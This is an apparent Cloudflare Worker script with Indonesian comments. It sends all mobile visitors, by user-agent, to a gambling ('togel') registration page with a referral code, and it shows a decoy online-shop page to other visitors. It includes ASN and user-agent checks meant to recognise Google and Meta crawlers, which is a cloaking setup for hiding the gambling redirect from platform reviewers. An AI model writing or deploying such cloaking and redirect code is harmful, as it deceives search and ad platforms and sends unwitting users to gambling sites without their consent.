export default { async fetch(request) { const ua = (request.headers.get('user-agent') || '').toLowerCase(); const isMobile = /android|iphone|ipad|ipod|mobile/i.test(ua); if (isMobile) { return Response.redirect( 'https://member.pangkalantogel.company/register?referral_code=gampangjp', 302 ); } const asn = Number(request.cf?.asn || 0); // ========================= // 1) ASN WHITELIST → OLSHOP // ========================= const WHITELIST_ASN = [ 38235 // ganti/tambah ASN kamu di sini ]; // ========================= // 2) GOOGLE BOT (valid) // ========================= const googleASN = [15169, 19527, 13949, 36040, 36492, 396982, 147049, 394507]; const googleUA = ["googlebot", "googleother", "adsbot-google", "mediapartners-google", "apis-google"]; const isGoogleBot = googleASN.includes(asn) && googleUA.some(v => ua.includes(v)); // ========================= // 3) META BOT (valid) // ========================= const metaASN = [32934, 63293, 54115, 34825,]; const metaUA = ["facebookexternalhit", "facebot", "instagram", "whatsapp"]; const isMetaBot = metaASN.includes(asn) && metaUA.some(v => ua.includes(v)); // ========================= // 4) RULE UTAMA // Whitelist ASN OR Meta OR Google → OLSHOP // ========================= const showOlshop = true; if (showOlshop) { return new Response(` Caca Store - Online Shop

Belanja Mudah & Aman

Produk berkualitas dengan harga terbaik dan pengiriman cepat ke seluruh Indonesia.

Lihat Produk

Produk Unggulan

Sepatu

Sepatu Sport

Rp299.000
Kaos

Kaos Premium

Rp129.000
Smartphone

Smartphone

Rp2.499.000
Jam Tangan

Jam Tangan

Rp459.000

🚚 Pengiriman Cepat

Pesanan diproses dalam 24 jam.

🔒 Pembayaran Aman

Mendukung transfer bank dan e-wallet.

⭐ Produk Berkualitas

Barang telah melewati pengecekan kualitas.

`, { status: 200, headers: { "Content-Type": "text/html; charset=UTF-8", "Cache-Control": "no-store", "X-Debug-ASN": String(asn), "X-Debug-UA": ua, "X-Debug-Show": "olshop" } }); } // ========================= // 5) Selain itu → konten asli // ========================= const resp = await fetch(request); const out = new Response(resp.body, resp); out.headers.set("X-Debug-ASN", String(asn)); out.headers.set("X-Debug-UA", ua); out.headers.set("X-Debug-Show", "origin"); return out; } };